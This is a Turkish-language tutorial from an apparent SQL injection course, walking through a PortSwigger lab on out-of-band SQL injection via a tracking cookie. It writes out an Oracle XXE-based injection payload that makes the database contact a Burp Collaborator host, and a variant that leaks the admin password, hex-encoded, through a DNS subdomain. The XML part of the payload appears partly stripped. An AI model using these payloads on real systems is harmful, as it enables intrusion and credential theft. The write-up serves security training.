> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/out-of-band-sql-injection.md).
# Out-of-Band SQL Injection
#### Out-of-Band (OOB) SQL Injection
Out-of-Band (Bant Dışı) konusu siber güvenlikte biraz daha ileri seviye bir tekniktir. Eğer bu alanda yeniyseniz bile, ufkunuzu açması ve bir hackerın nasıl düşündüğünü kavramanız için kesinlikle okumanızı tavsiye ederim.
Normal şartlarda bir siteye saldırdığınızda; Web Application Firewall (WAF) veya Intrusion Detection System (IDS - Saldırı Tespit Sistemi) gibi koruma kalkanları devreye girebilir. Ayrıca yazılımcının koyduğu *stored procedures* (saklı yordamlar) veya *output encoding* (çıktı kodlama) gibi uygulama düzeyindeki kısıtlamalar, In-Band ve Blind SQLi denemelerinizin tamamen başarısız olmasına neden olabilir.
**İşte bütün kapıların yüzümüze kapandığı bu senaryolarda Out-of-Band devreye girer.** OOB tekniğinde, zararlı sorguyu gönderdiğimiz kanal ile yanıtı aldığımız kanal birbirinden **farklıdır**. Veritabanı ön kapıdan (web sayfası üzerinden) bize yanıt veremiyorsa; onun HTTP, DNS veya SMB gibi ağ protokollerini kullanarak bizim sunucumuzla iletişime geçmesini sağlarız.
(aşağıdaki şemada tryhackmedeki şemayı beğendim ve çizdim telif olmasın diye benzerlik ondan :) )
**Peki Bunu Neden Yapıyoruz? (OOB'nin Avantajları)**
* Çünkü Diğer Bütün Kapılar Kapalıdır: Normal şartlarda bir siteye saldırdığınızda sonuçları ekranda görürsünüz (In-Band). Ekranda göremeseniz bile, sitenin verdiği "Doğru/Yanlış" tepkilerinden (Boolean) veya sunucuyu bilerek geciktirerek (Time-Based) verileri damla damla çekebilirsiniz. Peki ya sistem asenkron çalışıyorsa? Yani siz isteği attığınızda sunucu anında size sayfayı döndürüyor, ancak sizin gönderdiğiniz veriyi arka planda, bambaşka bir zamanda veritabanına yazıyorsa? İşte burada ne ekranda bir şey görürsünüz, ne hata alırsınız, ne de sunucuyu bekleterek gecikme yaratabilirsiniz. Bütün kapıların yüzümüze kapandığı bu "tamamen kör" senaryolarda tek çaremiz Out-of-Band (OOB) tekniğidir. Veritabanının bize ön kapıdan yanıt vermesini beklemek yerine, ona HTTP veya DNS gibi ağ protokollerini kullanarak bizim sunucumuzla iletişime geçmesini söyleriz.
* **Radarın Altından Uçmak:** WAF ve IDS sistemleri genellikle web trafiğini ve ekrana basılan SQL yanıtlarını büyüteçle inceler. Ancak hedef sunucunun dışarıya attığı "masum" bir DNS veya SMB sorgusu genellikle çok daha az incelenir ve loglara (kayıtlara) zararlı bir işlem olarak takılmaz.
* **Derinlere Ulaşmak:** OOB sadece güvenlik duvarlarını atlatmak için değil; doğrudan internete kapalı olan, ağın bambaşka bir derin segmentinde (iç ağda) hapsolmuş bir veritabanına ulaşıp veri sızdırmak (exfiltration) için de biçilmiş kaftandır.
Örneğin; hedef sistemin veritabanına, *“Şifreyi al ve benim DNS sunucuma sor”* diyen bir SQL sorgusu enjekte edip, o meşhur güvenlik mekanizmalarının ruhu bile duymadan en hassas verileri arka kapıdan çıkarabiliriz!
***
#### Out-of-Band (OAST) SQLi'yi Gerçek Bir Senaryo ile Anlamak
Farklı veritabanları için OOB (Out-of-Band) yapmanın pek çok tekniği vardır. Ancak teoride boğulmak yerine, mantığını tam olarak kavramanız ve fikir vermesi açısından bu konuyu **gerçek bir senaryo (lab) üzerinden** anlatmak istiyorum. (Lab linki: )
**Senaryomuz (Asenkron Tuzak):** Diyelim ki bir web sitesinde gezinirken arka planda sizi takip eden bir "Tracking Cookie" (İzleme Çerezi) var. Site, sizin bu çerezinizi alıyor ve veritabanında asenkron (farklı bir iş parçacığında/thread) olarak işliyor. Bunun anlamı şudur: Siz isteği gönderirsiniz, site size anında normal sayfasını yükler, ancak arka planda sizin çerezinizle bir SQL sorgusu çalıştırır.
Sayfa anında yüklendiği ve tepki vermediği için:
* Ekranda veri göremeyiz (In-band çalışmaz).
* Hata veya Doğru/Yanlış değişimi olmaz (Boolean çalışmaz).
* `SLEEP()` komutu yollasak bile, asenkron olduğu için bizim ekranımızdaki yüklenmeyi geciktirmez (Time-Based çalışmaz).
İşte burada son çaremiz olan, bizim kontrolümüzdeki bir sisteme **DNS sorgusu** yaptırmayı deneyeceğiz.
(Önemli not: bu lab için portswigger Collaborator’ı şart koşmuşlar diğer dns sunuculaırını engelliyorlar, test de ettim malesef zorunlu. Eğer öğrenci mailiniz varsa 30 günlük deneme isteyebilirsiniz, yoksa yazıyı takip edin elimden geldiğince açıklayacağım)
***
portswigger lab’ında siteye gidelim:
Burp suite’den proxy ile category isteğini yakalayıp bu isteği repeater’a atalım, istek şu şekilde gözüküyor:
```bash
GET / HTTP/1.1
Host: 0a1200ed03caa80780f70db4005300ec.web-security-academy.net
Cookie: TrackingId=rEsGH7yZfYOqD3T7; session=xmRweqjwQpvMFoZGZb0z67VBnN7H2E0W
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```
sql injection’ı yapacağımız parametre TrackingId, peki nasıl dns sorgusu atmasını sağlarız?
Buradaki mantığı anlamanız için arka planı kısaca anlatmak istiyorum. Sunucu TrackingId sayesinde bu sitede istek atan gezinen kişinin kim olduğunu takip ediyor. Zafiyetli kısmı da, bizim kim olduğumuzu kaydederken sorgu atıyor, TrackingId yi olduğu gibi koyuyor ve şuna benzer bir şey gidiyor:
`SELECT * FROM tracking_logs WHERE id = 'Xn8BrtEO7lageLof’`
Amacımız burada TrackingId yi manipüle ederek sql injection yapmak. Bu sql injection sonucunu da veritabanına dns lookup yaptırarak, kendi dns sunucumuzdan okumak.
**Peki Hangi Veritabanı?** Gerçek bir sızma testinde (Black-Box olsa bile), hedef sistemin HTTP başlıklarını veya teknolojilerini analiz ederek arka planda hangi veritabanının çalıştığını tahmin etmeye çalışırız. Ancak bu lab ortamında elimizde net bir ipucu yok. Bu yüzden PortSwigger'ın SQL Injection Cheat Sheet'ini açıp, sırayla farklı veritabanlarının OAST (DNS lookup) komutlarını deneyeceğiz.
İlk sıradaki Oracle veritabanı ile başlayalım. Cheat sheet'e baktığımızda Oracle'ın dışarıya istek atmasını sağlayan şu payload'u görüyoruz: `SELECT extractvalue(xmltype(' %remote;]>'),'/l') FROM dual`
**Bu karmaşık kod tam olarak ne yapıyor?** Burada aslında veritabanının XML ayrıştırıcısındaki bir özelliği (veya zafiyeti - XXE) kendi lehimize kullanıyoruz. `SYSTEM` anahtar kelimesiyle veritabanına, "Git bu adresteki (Collaborator adresimiz) veriyi çek ve işle" diyoruz. Böylece veritabanı safça bizim sunucumuza bir DNS/HTTP isteği atıyor ve biz de o isteği yakaladığımızda "Evet, içerideyiz ve komutumuz çalıştı!" diyebiliyoruz.
***
Collaborator dan burp de linkimizi alıp oraya yapıştırıcaz. aşağıda “copy the clipboard” diyin. bu linki “`BURAYA_Collaborator_adresi`" diye belirttiğim yere payloadda koyucaz
Şimdi UNION ile bu SELECT sorgusunu dahil etmeye çalışalım:
şimdi ilk verdiğim sorguyu baz alarak şunu yapıcaz.
`' UNION SELECT extractvalue(xmltype(' %remote;]>'),'/l') FROM dual--`
*(Not: Payload'ları kopyalarken tırnak işaretlerinin düz tırnak (') olduğundan emin olun. Web sitelerindeki eğik tırnaklar (smart quotes) SQL syntax'ını bozar.)*
sorgu da şöyle oldu:
```bash
GET / HTTP/1.1
Host: 0a1200ed03caa80780f70db4005300ec.web-security-academy.net
Cookie: TrackingId=rEsGH7yZfYOqD3T7' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual--; session=xmRweqjwQpvMFoZGZb0z67VBnN7H2E0W
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```
Böylece payload'umuzu Burp'teki isteğimize yedirdik. Ancak bu haliyle gönderirseniz yüksek ihtimalle hedef sunucudan bir hata alacaksınız. Bunun sebebi isteğin URL olarak gitmesi değil; HTTP başlıklarında (burada Cookie içinde) gönderdiğimiz boşlukların, tırnak işaretlerinin ve özellikle XML payload'undaki `<, >, &` gibi özel karakterlerin HTTP protokol standartlarını bozmasıdır. Sunucu (veya aradaki güvenlik duvarları) bu yabancı karakterleri gördüğünde isteği hatalı (Bad Request) kabul edip çöpe atar.
Sunucunun ve ayrıştırıcının bu karakterleri sorunsuz okuyabilmesi için payload'umuzu **URL Encode** işleminden geçirmeliyiz. Bunun için basitçe Burp Suite'te yazdığınız sorguyu seçip `Ctrl + U` yapmanız yeterli.
seçelim:
Sonra ctrl+u:
Artık sorgumuz hazır. İsteği gönderip tetiklememiz yeterli. Gönderdikten sonra Burp Suite üzerinde Collaborator sekmesine geçip "Poll now" (Şimdi denetle) butonuna tıklıyoruz.
Ve işte karşımızda hedef sunucudan bizim DNS sunucumuza gelen o istekler. Ekranda hiçbir şey göremesek de, sistem tamamen kör ve asenkron olsa da arka kapıdan veritabanına ulaştığımızın kanıtı bu ping isteği. Lab ortamı da tam olarak bu etkileşimi yakalamamızı istiyordu ve başarıyla çözdük.
> *(Ekstra Bilgi: Bu labda sadece zafiyetin varlığını kanıtladık. Peki gerçek dünyada veriyi nasıl sızdırırdık? İşte burada **String Concatenation (Metin Birleştirme)** dediğimiz teknik devreye giriyor. Diyelim ki, tıpkı Time-Based bölümünde anlattığımız gibi veritabanı şemasını önceden keşfettik. Payload'umuzdaki linki şu şekilde manipüle ederdik:*`http://' || (SELECT password FROM users WHERE username='admin') || '.BURAYA_Collaborator_adresi/`*(Önemli Detay: DNS adresleri boşluk veya özel karakter kabul etmez. Şifrenin içinde "!" veya boşluk varsa DNS isteği bozulur. Bu yüzden gerçek hayatta saldırganlar veriyi sızdırmadan önce HEX formatına çevirirler. Örneğin Oracle'da `RAWTOHEX(password)` komutu kullanılarak veri `50617373776f7264` gibi güvenli bir formata sokulur.)Böylece veritabanı şifreyi okur, linkin başına ekler ve bizim DNS sunucumuza `http://50617373776f7264.collaborator_adresi` şeklinde bir istek atardı. Biz de loglara bakıp gelen HEX kodunu normal metne çevirerek şifreyi ele geçirirdik!)*
Gördüğünüz gibi aslında temelde basit bir SQL Injection mantığını, biraz protokol bilgisi ve encode işlemleriyle birleştirerek başarıyla zafiyeti exploit ettik.
Bunun üzerine aşağıdaki portswigger labını çözerek sonda anlattığım dns üzerinden bilgi çekme kısmını da pratik edebilirsiniz:
(Not: PortSwigger'ın bu labında şifreler sadece alfanümerik karakterlerden oluştuğu için HEX'e çevirme işlemi yapmanıza gerek kalmadan doğrudan şifreyi DNS adresi üzerinden çekebilirsiniz.) Lab:
{% content-ref url="/pages/1qknQI0F1ZMCDpWcHco8" %}
[Blind SQL injection with out-of-band data exfiltration Çözümü](/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/out-of-band-sql-injection/blind-sql-injection-with-out-of-band-data-exfiltration-cozumu.md)
{% endcontent-ref %}